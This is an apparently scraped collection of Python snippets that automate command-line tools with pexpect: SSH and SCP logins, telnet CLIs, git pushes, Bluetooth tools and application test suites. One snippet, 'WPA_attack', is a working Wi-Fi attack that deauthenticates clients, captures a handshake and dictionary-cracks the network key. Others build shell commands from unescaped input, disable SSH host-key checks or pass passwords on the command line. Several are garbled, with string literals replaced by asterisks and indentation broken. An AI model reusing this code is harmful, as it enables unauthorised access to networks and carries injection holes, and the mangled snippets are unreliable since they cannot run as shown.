Example #1
0
    def login(self,sshhostname):
        # Try to ping the host
        if not sshhostname:
                logging.critical("login: Hostname empty!")
                sys.exit(1)
        else:
            response = os.system("ping -c 1 " + sshhostname + ' > /dev/null')
            if response != 0:
                logging.critical("SSH: Host not reachable! " + sshhostname)
                sys.exit(1)
	    if not argdictionary['spassword']:
		cmdstr = 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=40 root@' + sshhostname + ' -i ' + argdictionary['server-key']
		self.__sshhandle = pexpect.spawn(cmdstr + '\r', timeout= 10)
	    else:
		cmdstr = 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=40 root@' + sshhostname
		self.__sshhandle = pexpect.spawn('sshpass -p ' + argdictionary['spassword'] + ' ' + cmdstr + '\r', timeout= 10)
            # we log everything on ssh to a logfile when parameter is not empty
            if self.expectlogfile != '' :
                fout = file(self.expectlogfile, 'w')
                self.__sshhandle.logfile = fout

            self.__sshhandle.expect('root')
            self.__sshhandle.setecho(False)
            self.__sshhandle.setwinsize(30, 300)

            # Set new Prompt for all commands
            self.__sshhandle.sendline(self.PROMPT_SET_SH)
            self.__sshhandle.expect(self.COMMAND_PROMPT)
            self.cmdsend('export TERM=vt52', 2)
            # force exit of shell when command has exitcode != 0
            self.cmdsend('set -e', 2)
Example #2
0
 def test_list(self):
     # list apps and get their names
     child = pexpect.spawn("{} apps".format(DEIS))
     child.expect('=== Apps')
     child.expect(pexpect.EOF)
     apps_before = re.findall(r'([-_\w]+) {\w?}', child.before)
     # create a new app
     self.assertIsNotNone(self.formation)
     child = pexpect.spawn("{} apps:create --formation={}".format(
         DEIS, self.formation))
     child.expect('done, created ([-_\w]+)')
     app = child.match.group(1)
     child.expect(pexpect.EOF)
     # list apps and get their names
     child = pexpect.spawn("{} apps".format(DEIS))
     child.expect('=== Apps')
     child.expect(pexpect.EOF)
     apps = re.findall(r'([-_\w]+) {\w?}', child.before)
     # test that the set of names contains the previous set
     self.assertLess(set(apps_before), set(apps))
     # delete the app
     child = pexpect.spawn("{} apps:destroy --app={} --confirm={}".format(
         DEIS, app, app))
     child.expect('done in ', timeout=5 * 60)
     child.expect(pexpect.EOF)
     # list apps and get their names
     child = pexpect.spawn("{} apps:list".format(DEIS))
     child.expect('=== Apps')
     child.expect(pexpect.EOF)
     apps = re.findall(r'([-_\w]+) {\w?}', child.before)
     # test that the set of names is equal to the original set
     self.assertEqual(set(apps_before), set(apps))
Example #3
0
def test_insensitive_fuzzy_matching():
    # insensitive fuzzy matching
    p = pexpect.spawn('pimento "a BLUE thing" "one GREEN thing" -I --fuzzy', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  a BLUE thing')
    p.expect_exact('  one GREEN thing')
    p.expect_exact('Enter an option to continue: ')
    # send a word at the end of multiple options, but wrong case
    p.sendline('THING')
    p.expect_exact('[!] "THING" matches multiple choices:')
    p.expect_exact('[!]   a BLUE thing')
    p.expect_exact('[!]   one GREEN thing')
    p.expect_exact('[!] Please specify your choice further.')
    # send a partial word which, with the prior one, still matches multiple options
    p.sendline('thing e')
    p.expect_exact('[!] "thing e" matches multiple choices:')
    p.expect_exact('[!]   a BLUE thing')
    p.expect_exact('[!]   one GREEN thing')
    p.expect_exact('[!] Please specify your choice further.')
    # send another partial word with wrong case, which, with the prior two, limits to one option
    p.sendline('thing e e')
    p.expect_exact('one GREEN thing')
    # thest words out of order
    p = pexpect.spawn('pimento "a BLUE thing" "one GREEN thing" --fuzzy', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  a BLUE thing')
    p.expect_exact('  one GREEN thing')
    p.expect_exact('Enter an option to continue: ')
    p.sendline('thing blue')
    p.expect_exact('a BLUE thing')
Example #4
0
def run_experiments(site, node, iotlab_exp_id, stacktest=False):
    env = os.environ
    env.update({'STACKTEST': str(int(bool(stacktest)))})
    if stacktest:
        log_name = "stackusage_%s-%d-%d-%d.txt" % (site, node, iotlab_exp_id, time.time())
    else:
        log_name = "times_%s-%d-%d-%d.txt" % (site, node, iotlab_exp_id, time.time())
    logger = pexpect.spawn("/bin/bash", ['-c',
                           "ssh %s@%s.iot-lab.info " % (IOTLAB_USER, site) +
                            "\"tmux -c 'serial_aggregator -i %d &> %s'\"" %
                            (iotlab_exp_id, log_name)])
    time.sleep(5)
    watcher = pexpect.spawn("ssh %s@%s.iot-lab.info 'tail -F %s'" %
                            (IOTLAB_USER, site, log_name), timeout=MAX_EXP_TIME)

    for app in APPS:
        for stack in STACKS:
            if (app[-3:] == 'rpl') and (stack in NON_RPL_STACKS):
                continue
            flash("%s/%s" % (app, stack), iotlab_exp_id)
            start = time.time()
            watcher.expect("%s_%s stopped" % (stack, app))
            duration = time.time() - start
            print("%s_%s%s ran for %.2f minutes" %
                  (stack, app, " (stacktest)" if stacktest else "",
                  duration / MINUTE))
    watcher.terminate()
    watcher.wait()
    logger.terminate()
    logger.wait()
Example #5
0
 def test_info(self):
     # create a new app
     self.assertIsNotNone(self.formation)
     child = pexpect.spawn("{} create --formation={}".format(
         DEIS, self.formation))
     child.expect('done, created (?P<name>[-_\w]+)')
     app = child.match.group('name')
     child.expect('Git remote deis added')
     child.expect(pexpect.EOF)
     # get app info
     child = pexpect.spawn("{} info".format(DEIS))
     child.expect("=== {} Application".format(app))
     child.expect("=== {} Containers".format(app))
     response = json.loads(child.before)
     child.expect(pexpect.EOF)
     self.assertEqual(response['id'], app)
     self.assertEqual(response['formation'], self.formation)
     self.assertEqual(response['owner'], self.username)
     self.assertIn('uuid', response)
     self.assertIn('created', response)
     self.assertIn('containers', response)
     # delete the app
     child = pexpect.spawn("{} apps:destroy --app={} --confirm={}".format(
         DEIS, app, app))
     child.expect('done in ', timeout=5 * 60)
     child.expect(pexpect.EOF)
Example #6
0
def test_insensitive_matching():
    # match caps to non-caps
    # first letter
    p = pexpect.spawn('pimento FOO BAR BAZ --insensitive', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  FOO')
    p.expect_exact('  BAR')
    p.expect_exact('  BAZ')
    p.expect_exact('Enter an option to continue: ')
    p.sendline('Foo')
    p.expect_exact('FOO')
    # whole word
    p = pexpect.spawn('pimento FOO BAR BAZ --insensitive', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  FOO')
    p.expect_exact('  BAR')
    p.expect_exact('  BAZ')
    p.expect_exact('Enter an option to continue: ')
    p.sendline('bar')
    p.expect_exact('BAR')
    # last letter
    p = pexpect.spawn('pimento FOO BAR BAZ --insensitive', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  FOO')
    p.expect_exact('  BAR')
    p.expect_exact('  BAZ')
    p.expect_exact('Enter an option to continue: ')
    p.sendline('baZ')
    p.expect_exact('BAZ')
Example #7
0
def test_fuzzy_matching():
    # test fuzzy matching
    p = pexpect.spawn('pimento "a blue thing" "one green thing" --fuzzy', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  a blue thing')
    p.expect_exact('  one green thing')
    p.expect_exact('Enter an option to continue: ')
    # send a word at the end of multiple options
    p.sendline('thing')
    p.expect_exact('[!] "thing" matches multiple choices:')
    p.expect_exact('[!]   a blue thing')
    p.expect_exact('[!]   one green thing')
    p.expect_exact('[!] Please specify your choice further.')
    # send a partial word which, with the prior one, still matches multiple options
    p.sendline('thing e')
    p.expect_exact('[!] "thing e" matches multiple choices:')
    p.expect_exact('[!]   a blue thing')
    p.expect_exact('[!]   one green thing')
    p.expect_exact('[!] Please specify your choice further.')
    # send another partial word, which, with the prior two, limits to one option
    p.sendline('thing e e')
    p.expect_exact('one green thing')
    # test words out of order
    p = pexpect.spawn('pimento "a blue thing" "one green thing" --fuzzy', timeout=1)
    p.expect_exact('Options:')
    p.expect_exact('  a blue thing')
    p.expect_exact('  one green thing')
    p.expect_exact('Enter an option to continue: ')
    p.sendline('thing blue')
    p.expect_exact('a blue thing')
Example #8
0
def checks():

	if not opts.overwrite:

		# check if file and/or directory exist already
		if os.path.exists(opts.backfile):
			print(" [X] Restore file of the same name: %s already exists\n") % opts.backfile
			sys.exit(1)
	
		if not os.path.exists(opts.directory):
			print(" [X] Source directory: %s does not exist\n") % opts.directory
			sys.exit(1)

	# check openssl zlib support
	child = pexpect.spawn ('openssl -help')
	i = child.expect ('zlib')

	if i==1:
		print(" [X] Openssl Version does not support zlib")
		sys.exit(1)

	# check for star
	child = pexpect.spawn ('star --version')
	i = child.expect ('[Oo]ptions')

	if i==1:
		print(" [X] Star does not appear to be installed")
		print(" [X] The star commandline tool is needed as tar does not support removal of trailing slashes")
		print(" [X] Please install star and try again")
		sys.exit(1)
Example #9
0
def test_iterable_items():
    # with a tuple
    p = pexpect.spawn('python test_pimento.py --tuple', timeout=1)
    p.expect_exact('Select one of the following:')
    p.expect_exact('  100')
    p.expect_exact('  200')
    p.expect_exact('  300')
    p.expect_exact('Please select: ')
    # a string
    p = pexpect.spawn('python test_pimento.py --string', timeout=1)
    p.expect_exact('Select one of the following:')
    p.expect_exact('  a')
    p.expect_exact('  b')
    p.expect_exact('  c')
    p.expect_exact('Please select: ')
    # a dict
    p = pexpect.spawn('python test_pimento.py --dictionary', timeout=1)
    p.expect_exact('Select one of the following:')
    i = p.expect_exact(['  key1', '  key2'])
    if i == 0:
        p.expect_exact('  key2')
    else:
        p.expect_exact('  key1')
    p.expect_exact('Please select: ')
    # a set
    p = pexpect.spawn('python test_pimento.py --set', timeout=1)
    p.expect_exact('Select one of the following:')
    p.expect_exact('  1')
    p.expect_exact('  2')
    p.expect_exact('Please select: ')
Example #10
0
    def test04_usersmgmt_removeuser(self):
        cli = pexpect.spawn('telnet 127.0.0.1 8022', timeout=2)
        cli.logfile_read = sys.stdout
        try:
            cli.expect('Username:'******'admin')
            cli.expect('Password:'******'test123')
            cli.expect(PROMT)

            TestMgmtCLI.CLI = cli
            self._cmd('help remove-user', 'rmuser') 
            self._cmd('remove-user', 'Usage: REMOVE-USER <user name>') 
            self._cmd('remove-user someuser', 'Error! [50]')
            self._cmd('remove-user newuser', 'removed')
        finally:
            cli.sendline('exit')
            cli.expect(pexpect.EOF)
            cli.close(force=True)
            TestMgmtCLI.CLI = None

        cli = pexpect.spawn('telnet 127.0.0.1 8022', timeout=2)
        cli.logfile_read = sys.stdout
        try:
            cli.expect('Username:'******'newuser')
            cli.expect('Password:'******'test')
            cli.expect('ERROR!')
        finally:
            cli.expect(pexpect.EOF)
            cli.close(force=True)
Example #11
0
    def testStartupOptions(self):
        cmd = "python {0} ".format(resource_file("ravel.py"))
        p = pexpect.spawn(cmd + "--help")
        p.expect("Usage")
        p.sendeof()

        time.sleep(1)
        p = pexpect.spawn(cmd + "--topo=single,3")
        p.expect("ravel>")
        p.sendeof()

        time.sleep(1)
        p = pexpect.spawn(cmd + "--topo=single,3 --onlydb")
        p.expect("ravel>")
        p.sendline("m")
        p.sendline("net")
        p.expect("no CLI available")
        p.sendline("exit")
        p.sendeof()

        time.sleep(1)
        p = pexpect.spawn(cmd + "--topo single,3 --noctl")
        p.expect("Unable to contact the remote controller")
        p.expect("ravel>")
        p.sendline("exit")
        p.sendeof()
Example #12
0
def esxi_trans_file(usr, host, pwd, filename, newfile):
    if newfile is not None:
        cmd = "scp %s %s@%s:%s" % (newfile, usr, host, filename)
        scp = pexpect.spawn(cmd)
    else:
        cmd = "scp %s@%s:%s ./" % (usr, host, filename)
        scp = pexpect.spawn(cmd)
    try:
        i = scp.expect(['[Pp]assword:',r'Are you sure you want to continue connecting \(yes/no\)\?',pexpect.EOF,pexpect.TIMEOUT])
        if i == 0:
            scp.sendline(pwd)
        elif i == 1:
            scp.sendline('yes\n')
            scp.expect('[Pp]assword:')
            scp.sendline(pwd)
    except pexpect.EOF:
        print "pexpect.EOF"
        scp.close()
        return -1
    except pexpect.TIMEOUT:
        print "pexpect.timeout"
        scp.close()
        return -2

    scp.expect(pexpect.EOF, timeout=300)
    scp.close()
Example #13
0
 def test_list(self):
     # list formations and get their names
     child = pexpect.spawn("{} formations".format(DEIS))
     child.expect('=== Formations')
     child.expect(pexpect.EOF)
     formations_before = re.findall(r'([-_\w]+) {\w?}', child.before)
     # create a new formation
     formation = "{}-test-formation-{}".format(self.username, uuid4().hex[:4])
     child = pexpect.spawn("{} formations:create {} --flavor={}".format(
         DEIS, formation, DEIS_TEST_FLAVOR))
     child.expect("created {}.*to scale a basic formation".format(formation))
     child.expect(pexpect.EOF)
     # list formations and get their names
     child = pexpect.spawn("{} formations".format(DEIS))
     child.expect('=== Formations')
     child.expect(pexpect.EOF)
     formations = re.findall(r'([-_\w]+) {\w?}', child.before)
     # test that the set of names contains the previous set
     self.assertLess(set(formations_before), set(formations))
     # delete the formation
     child = pexpect.spawn("{} formations:destroy {} --confirm={}".format(
         DEIS, formation, formation))
     child.expect('done in ', timeout=5*60)
     child.expect(pexpect.EOF)
     # list formations and get their names
     child = pexpect.spawn("{} formations:list".format(DEIS))
     child.expect('=== Formations')
     child.expect(pexpect.EOF)
     formations = re.findall(r'([-_\w]+) {\w?}', child.before)
     # test that the set of names is equal to the original set
     self.assertEqual(set(formations_before), set(formations))
Example #14
0
 def test_acquire_keytab(self):
     self.require(ad_user=True)
     domain = self.domain()
     creds = ADCreds(domain)
     principal = self.ad_user_account()
     password = self.ad_user_password()
     creds.acquire(principal, password)
     os.environ['PATH'] = '/usr/kerberos/sbin:/usr/kerberos/bin:%s' % \
                          os.environ['PATH']
     fullprinc = creds.principal()
     child = pexpect.spawn('kvno %s' % fullprinc)
     child.expect('kvno =')
     kvno = int(child.readline())
     child.expect(pexpect.EOF)
     child = pexpect.spawn('ktutil')
     child.expect('ktutil:')
     child.sendline('addent -password -p %s -k %d -e rc4-hmac' %
                   (fullprinc, kvno))
     child.expect('Password for.*:')
     child.sendline(password)
     child.expect('ktutil:')
     keytab = self.tempfile(remove=True)
     child.sendline('wkt %s' % keytab)
     child.expect('ktutil:')
     child.sendline('quit')
     child.expect(pexpect.EOF)
     creds.release()
     creds.acquire(principal, keytab=keytab)
     child = pexpect.spawn('klist')
     pattern = '.*krbtgt/%s@%s' % (domain.upper(), domain.upper())
     assert child.expect([pattern]) == 0
Example #15
0
def after_commands(command):
    # if there is more than one command iterate through
    if "," in command:
        command = command.split(",")
	child = pexpect.spawn("/bin/sh")
	print "[!] Note that this will drop into a bash shell to execute commands. You will need to type exit once completed."
        for commands in command:
		try:
			child.sendline(commands)
		except: pass

	# need to pass an exception here if the install has more things like psexec installer, etc.
	try:
		child.interact()

	except: pass

            #subprocess.Popen(commands, shell=True).wait()

    else:
        child = pexpect.spawn("/bin/sh")
        print "[!] Note that this will drop into a bash shell to execute commands. You will need to type exit once completed."
        try:
        	child.sendline(command)
        except: pass
        # need to pass an exception here if the install has more things like psexec installer, etc.
        try:
                child.interact()

        except: pass
Example #16
0
def main ():

    t = TunnelThread()    

    while True:
    try:
        ps = pexpect.spawn ('nmap -p your_port your_domain.com')
        time.sleep(1)
        net_status = ps.expect (['closed','open'])

        ps = pexpect.spawn ('pgrep -f "%s"' % tunnel_command)
        time.sleep (0.5)
        ppid = ps.read()
        ps.close()

        if not ppid:
            time.sleep(3)
            t.start()

        elif net_status == 0 and ppid: 
            ps = pexpect.spawn ('pkill -9 -f "%s"' % tunnel_command)
            time.sleep(3)
            t = TunnelThread()
            t.start()

        time.sleep(3)
	   
    except pexpect.EOF:
        pass

	
if __name__ == '__main__':
    main ()
Example #17
0
def get_dataRate(testConf,hostname,devName,startTime,endTime):
    dataAmount = 0
    #login to vpn,dp
    ssh_dp_proc = pexpect.spawn("ssh deployer@%s"%hostname)
    wait_server(testConf,ssh_dp_proc,'dp')
    ssh_dp_proc.sendline("if [ ! -d 'TestBench'  ];then mkdir TestBench;fi;cd TestBench")
    wait_server(testConf,ssh_dp_proc,'dp')

    ssh_data_proc = pexpect.spawn('sh')
    wait_server(testConf,ssh_data_proc,'vpn')
    ssh_data_proc.sendline("scp get_data_amount.py deployer@%s:~/TestBench/"%hostname)
    wait_server(testConf,ssh_data_proc,'vpn')
    ssh_data_proc.sendline("scp config_test.json deployer@%s:~/TestBench/"%hostname)
    wait_server(testConf,ssh_data_proc,'vpn')
    ssh_data_proc.sendline("scp interact.py deployer@%s:~/TestBench/"%hostname)
    wait_server(testConf,ssh_data_proc,'vpn')
    ssh_data_proc.close(force=True)

    ssh_dp_proc.sendline(r"python ~/TestBench/get_data_amount.py %s wifi %s %s"%\
            (os.path.join(testConf['svr_wifi_dir'],devName),str(startTime),str(endTime)))
    wait_server(testConf,ssh_dp_proc,'dp')
    tmpList = ssh_dp_proc.before.split('##')
    dataAmount += int(tmpList[tmpList.index('dataAmount')+1])
    ssh_dp_proc.sendline(r"python ~/TestBench/get_data_amount.py %s video %s %s"%\
            (os.path.join(testConf['svr_video_dir'],devName),str(startTime),str(endTime)))
    wait_server(testConf,ssh_dp_proc,'dp')
    tmpList = ssh_dp_proc.before.split('##')
    dataAmount += int(tmpList[tmpList.index('dataAmount')+1])
    ssh_dp_proc.close(force=True)
    return (dataAmount/(endTime - startTime))
Example #18
0
def main():
    user = getpass.getuser()
    pwd = getpass.getpass()
    log = open('temp.log','bw+')
    # Get current running jobs carbon
    carbon_name = user + '@carbon.science.uva.nl'
    carbon = pexpect.spawn('ssh ' + carbon_name)
    carbon.logfile_read = log
    carbon.expect('Password:'******'\n')
    carbon.expect('$')
    carbon.send('qstat | grep -B 1 '+user+'\n')
    carbon.expect('$')
    carbon.send('logout\n')
    carbon.expect(pexpect.EOF)
    carbon.close()
    log.seek(0, 0)
    for line in log:
        if (user.encode() in line or 'compute'.encode() in line) and \
            ('grep'.encode() not in line):
            print(line.decode())
    log.truncate(0)
    log.close
    child = pexpect.spawn('rm temp.log')
    child.expect(pexpect.EOF)
Example #19
0
 def __init__( self, bluetooth_adr , mode ):
     
     if mode == "non-verbose":
         self.con = pexpect.spawn('gatttool -b ' + bluetooth_adr + ' --interactive')
         self.con.expect('\[LE\]>', timeout=6000)
         self.con.sendline('connect')
         self.con.expect('Connection successful.*\[LE\]>')
         self.cb = {}
         return
         
         self.con.expect('\[CON\].*>')
         self.cb = {}
         return
         
         
     else:
         self.con = pexpect.spawn('gatttool -b ' + bluetooth_adr + ' --interactive')
         self.con.expect('\[LE\]>', timeout=600)
         print "Preparing to connect. You might need to press the side button..."
         self.con.sendline('connect')
         # test for success of connect
         self.con.expect('Connection successful.*\[LE\]>')
         # Earlier versions of gatttool returned a different message.  Use this pattern -
         #self.con.expect('\[CON\].*>')
         self.cb = {}
         return
         
         self.con.expect('\[CON\].*>')
         self.cb = {}
         return
Example #20
0
def WPA_attack(bssid,channel,iface_mon):
    #Delete old files:
    if os.path.exists(OS_PATH+'/cr0z0n0_attack-01.csv'):
        os.remove(OS_PATH+'/cr0z0n0_attack-01.csv')
        os.remove(OS_PATH+'/cr0z0n0_attack-01.cap')
        os.remove(OS_PATH+'/cr0z0n0_attack-01.kismet.csv')
        os.remove(OS_PATH+'/cr0z0n0_attack-01.kismet.netxml')

    cmd_airodump = pexpect.spawn('airodump-ng --bssid {0} -c {1} -w cr0z0n0_attack {2}'.format(bssid,channel,iface_mon))
    time.sleep(5)

    cmd_aireplay = pexpect.spawn('aireplay-ng -0 10 -a {0} {1}'.format(bssid,iface_mon))
    time.sleep(10)
    cmd_aireplay.close()

    cmd_airodump.expect(['handshake:',pexpect.TIMEOUT,pexpect.EOF],180) #change time
    cmd_airodump.close()

    cmd_crack = pexpect.spawn('aircrack-ng -w dic cr0z0n0_attack-01.cap')
    cmd_crack.logfile = file(LOG_FILE,'w')
    cmd_crack.expect(['KEY FOUND!','Failed',pexpect.TIMEOUT,pexpect.EOF],20) #change time
    cmd_crack.close()
    key_found = False
    parse_log_crack = open(LOG_FILE,'r')
    for line in parse_log_crack:
        where = line.find('KEY FOUND!')
        if where > -1:
            key_end = line.find(']')
            key_found = line[where+13:key_end]
    parse_log_crack.close()
    os.remove(LOG_FILE)

    return key_found
  def test_shell_prompt(self):
    proc = pexpect.spawn(SHELL_CMD)
    proc.expect(":21000] default>")
    self._expect_with_cmd(proc, "use foo", (), 'default')
    self._expect_with_cmd(proc, "use functional", (), 'functional')
    self._expect_with_cmd(proc, "use foo", (), 'functional')
    self._expect_with_cmd(proc, 'use `tpch`', (), 'tpch')
    self._expect_with_cmd(proc, 'use ` tpch `', (), 'tpch')

    proc = pexpect.spawn(SHELL_CMD, ['-d', 'functional'])
    proc.expect(":21000] functional>")
    self._expect_with_cmd(proc, "use foo", (), 'functional')
    self._expect_with_cmd(proc, "use tpch", (), 'tpch')
    self._expect_with_cmd(proc, "use foo", (), 'tpch')

    proc = pexpect.spawn(SHELL_CMD, ['-d', ' functional '])
    proc.expect(":21000] functional>")

    proc = pexpect.spawn(SHELL_CMD, ['-d', '` functional `'])
    proc.expect(":21000] functional>")

    # Start an Impala shell with an invalid DB.
    proc = pexpect.spawn(SHELL_CMD, ['-d', 'foo'])
    proc.expect(":21000] default>")
    self._expect_with_cmd(proc, "use foo", (), 'default')
    self._expect_with_cmd(proc, "use functional", (), 'functional')
    self._expect_with_cmd(proc, "use foo", (), 'functional')
Example #22
0
    def test_sighup(self):
        # If a parent process sets an Ignore handler for SIGHUP (as on Fedora's
        # build machines), this test breaks. We temporarily restore the default
        # handler, so the child process will quit. However, we can't simply
        # replace any installed handler, because getsignal returns None for
        # handlers not set in Python code, so we wouldn't be able to restore
        # them.
        if signal.getsignal(signal.SIGHUP) == signal.SIG_IGN:
            signal.signal(signal.SIGHUP, signal.SIG_DFL)
            restore_sig_ign = True
        else:
            restore_sig_ign = False

        try:
            child = pexpect.spawn(sys.executable + ' getch.py', ignore_sighup=True)
            child.expect('READY')
            child.kill(signal.SIGHUP)
            for _ in range(10):
                if not child.isalive():
                    raise AssertionError('Child should not have exited.')
                time.sleep(0.1)

            child = pexpect.spawn(sys.executable + ' getch.py', ignore_sighup=False)
            child.expect('READY')
            child.kill(signal.SIGHUP)
            for _ in range(10):
                if not child.isalive():
                    break
                time.sleep(0.1)
            else:
                raise AssertionError('Child should have exited.')

        finally:
            if restore_sig_ign:
                signal.signal(signal.SIGHUP, signal.SIG_IGN)
Example #23
0
def ssh_cmd(ip,port,user,keyfile,passwd,cmd):
    if keyfile <> '':
        ssh = pexpect.spawn('ssh -p%s -i %s %s@%s "%s"' % (port,keyfile, user, ip, cmd))
        #ssh = pexpect.spawn('ssh -p22 -i /home/ruzuojun/.ssh/id_rsa [email protected] uptime')
        try:
            i = ssh.expect(["Enter passphrase for key '"+keyfile+"': ", 'continue connecting (yes/no)?'])
            if i == 0 :
                ssh.sendline(passwd)
                r = ssh.read()
            elif i == 1:
               ssh.sendline('yes\n')
               ssh.expect("Enter passphrase for key '"+keyfile+"': ")
               ssh.sendline(passwd)
               r = ssh.read()
        except pexpect.EOF:
            ssh.close()
        return r
         
    else:
        ssh = pexpect.spawn('ssh -p%s %s@%s "%s"' % (port, user, ip, cmd))
        try:
            i = ssh.expect(['password: '******'continue connecting (yes/no)?'])
            if i == 0 :
                ssh.sendline(passwd)
                r = ssh.read()
            elif i == 1:
                ssh.sendline('yes\n')
                ssh.expect('password: ')
                ssh.sendline(passwd)
                r = ssh.read()
        except pexpect.EOF:
            ssh.close()
        return r
Example #24
0
def test_dual_send(board_group, application, env=None):
    env_sender = os.environ.copy()
    if env != None:
        env_sender.update(env)
    env_sender.update(board_group.boards[0].to_env())
    env_receiver = os.environ.copy()
    if env != None:
        env_receiver.update(env)
    env_receiver.update(board_group.boards[1].to_env())
    with pexpect.spawn("make", ["-C", application, "term"], env=env_sender,
                       timeout=DEFAULT_TIMEOUT) as sender, \
         pexpect.spawn("make", ["-C", application, "term"], env=env_receiver,
                       timeout=DEFAULT_TIMEOUT) as receiver:
        port = random.randint(0x0000, 0xffff)
        ipprot = random.randint(0x00, 0xff)
        receiver_ip = get_ipv6_address(receiver)

        receiver.sendline(u"ip server start %d" % ipprot)
        receiver.sendline(u"udp server start %d" % port)
        # wait for neighbor discovery to be done
        time.sleep(5)
        sender.sendline(u"udp send %s %d 01:23" % (receiver_ip, port))
        sender.expect_exact(u"Success: send 2 byte to [%s]:%d" %
                            (receiver_ip, port))
        receiver.expect(u"000000 01 23")

        sender.sendline(u"ip send %s %d 01:02:03:04" % (receiver_ip, ipprot))
        sender.expect_exact(u"Success: send 4 byte to %s (next header: %d)" %
                            (receiver_ip, ipprot))
        receiver.expect(u"000000 60 00 00 00 00 04 %s ff fe 80 00 00 00 00 00 00" % hex(ipprot)[2:])
        receiver.expect(u"000010( [0-9a-f]{2}){8} fe 80 00 00 00 00 00 00")
        receiver.expect(u"000020( [0-9a-f]{2}){8} 01 02 03 04")
Example #25
0
	def remoteChanged(self,directory):
		retval = False
		cwd = os.getcwd()
		if self.preflight():
			return(self.preflight())
		if not os.path.isdir(directory): os.makedirs(directory)
		os.chdir(directory)
		cmd = 'git rev-parse @{u}'
		exp = pexpect.spawn(cmd)
		try:
			exp.expect('Username.*', timeout=5)
			exp.sendline(self.username)
		except:
			pass
		exp.expect('Password.*')
		exp.sendline(self.password)
		exp.expect('.*')
		remote = exp.before
		exp.expect(pexpect.EOF)
		cmd = 'git rev-parse @'
		exp = pexpect.spawn(cmd)
		exp.expect('.*')
		local = exp.before
		exp.expect(pexpect.EOF)
		os.chdir(cwd)
		if not local == remote:
			retval = True
		return(retval)
Example #26
0
def osCmd(self):
    ret = -1
    ssh = pexpect.spawn('ssh %s@%s "%s"' % (self.username, self.ip, self.cmd))
    try:
        i = ssh.expect(['password','continue connecting (yes/no)?'],timeout=5)
        if i == 0 :
            ssh.sendline(passwd)
        elif i ==1:
            ssh.sendline('yes\n')
            ssh.expect('password:'******'ssh %s@%s "%s"' % (self.username, self.ip, self.cmd))
        r = ssh.read()
        print r
        #print "EOF"
        ssh.close()
        ret = -1
    except pexpect.TIMEOUT:
        ssh.close()
        ret = -2
    
    return ret
 def testOwnNamespace(self):
     "Test running user ap in its own namespace"
     pexpect.spawn('mn -c')
     p = pexpect.spawn('mn --wifi --innamespace --ap user')
     sleep(3)
     p.expect(self.prompt)
     interfaces = [ 'sta1-wlan0', 'ap1-wlan1', '[^-]eth0', 'lo',
                    self.prompt ]
     p.sendline('ap1 ip addr show')
     ifcount = 0
     while True:
         index = p.expect(interfaces)
         if index == 1 or index == 3:
             ifcount += 1
         elif index == 0:
             self.fail('sta1 interface displayed in "ap1 ip addr show"')
         elif index == 2:
             self.fail('wlan0 displayed in "ap1 ip addr show"')
         else:
             break
     # self.assertEqual( ifcount, 2, 'Missing interfaces on ap1' )
     # verify that all stations a reachable
     p.sendline('pingall')
     p.expect(r'(\d+)% dropped')
     dropped = int(p.match.group(1))
     self.assertEqual(dropped, 0, 'pingall failed')
     p.expect(self.prompt)
     p.sendline('exit')
     p.wait()
Example #28
0
 def _test_example(self, repo_name):
     # `git clone` the example app repository
     repo_type, repo_url = EXAMPLES[repo_name]
     # print repo_name, repo_type, repo_url
     clone(repo_url, repo_name)
     # create an App
     child = pexpect.spawn("{} create --formation={}".format(
         DEIS, self.formation))
     child.expect('done, created (?P<name>[-_\w]+)')
     app = child.match.group('name')
     try:
         child.expect('Git remote deis added')
         child.expect(pexpect.EOF)
         child = pexpect.spawn('git push deis master')
         # check git output for repo_type, e.g. "Clojure app detected"
         child.expect("{} app detected".format(repo_type), timeout=2*60)
         child.expect(' -> master', timeout=10*60)
         child.expect(pexpect.EOF, timeout=2*60)
         # TODO: scale up runtime nodes in setUpClass, then
         # actually fetch the URL with curl and check the output
         # TODO: `deis config:set POWERED_BY="Automated Testing"`
         # then re-fetch the URL with curl and recheck the output
     finally:
         # destroy the app
         child = pexpect.spawn(
             "{} apps:destroy --app={} --confirm={}".format(DEIS, app, app),
             timeout=5*60)
         child.expect('Git remote deis removed')
         child.expect(pexpect.EOF)
Example #29
0
def callGit(path, message):
    os.system("git add -A .")
    os.system("git commit -m '" + message + "'")
    try:
        child = pexpect.spawn("git push origin master")
        i = child.expect("Username for 'https://github.com': ", 7)
        if i == 0:
            child.kill(0)
            raise Exception("Github seems to want your user and pw...")
        else:
            child.wait()
    except Exception, e:
        print(e)
        print("Going to try configure your remote so that I won't require usr/pw in the future...")
        child = pexpect.spawn("git config --get remote.origin.url")
        child.expect("\r\n")
        url = child.before
        child.kill(0)
        print("URL")
        pprint(url)
        repo = url.rsplit('/',1)[1]
        print("Repo")
        pprint(repo)
        usr = raw_input("Gimme yo github user name = ")
        pwd = getpass("Now your password = "******"git config remote.origin.url https://"+usr+":"+pwd+"@github.com/mitchmindtree/"+repo)
        #call("git config remote.origin.url https://"+usr+":"+pwd+"@github.com/mitchmindtree/JenAI.git")
        os.system("git push origin master")
Example #30
0
def calculate_organism(opponent_name, organism_number):
    p1=pexpect.spawn(opponent_name)
    p1.setecho(False)
    p1.delaybeforesend=0 #we can't afford the default delay of 0.2 seconds, which is unnecessary anyway
    p2=pexpect.spawn("../../vm/vm " + ("%0*d" % (3, organism_number) + ".dna"))
    p2.setecho(False)
    p2.delaybeforesend=0

    g=game.Game()
    
    while not g.finished:
        if g.next_player==1:
            process=p1
        else:
            process=p2

        process.sendline(g.get_player_string(g.next_player))
        process.expect("\d*\r\n")

        move=int(process.after)%9

        if g._board[move]!=0:
            move=-1

        g.play(move)

    return score(g)
Example #31
0
import pexpect
import time

username = ''
password = ''
email = ''

child = pexpect.spawn('ssh [email protected]')
child.expect('new'.encode('big5'))
time.sleep(5)
print('sending username...')
child.sendline(str(username + '\r\n').encode('big5'))
child.expect(':')

time.sleep(5)
print('sending password...')
child.sendline(str(password + '\r\n').encode('big5'))

time.sleep(5)
print('checking password...')
log = child.read(128).decode('utf-8', errors='ignore')
if '密碼不對' in log:
    os.system("echo 'PTT login failed!' | mail -s 'Ptt login warning!' " +
              email)
    print('Login failed!!')
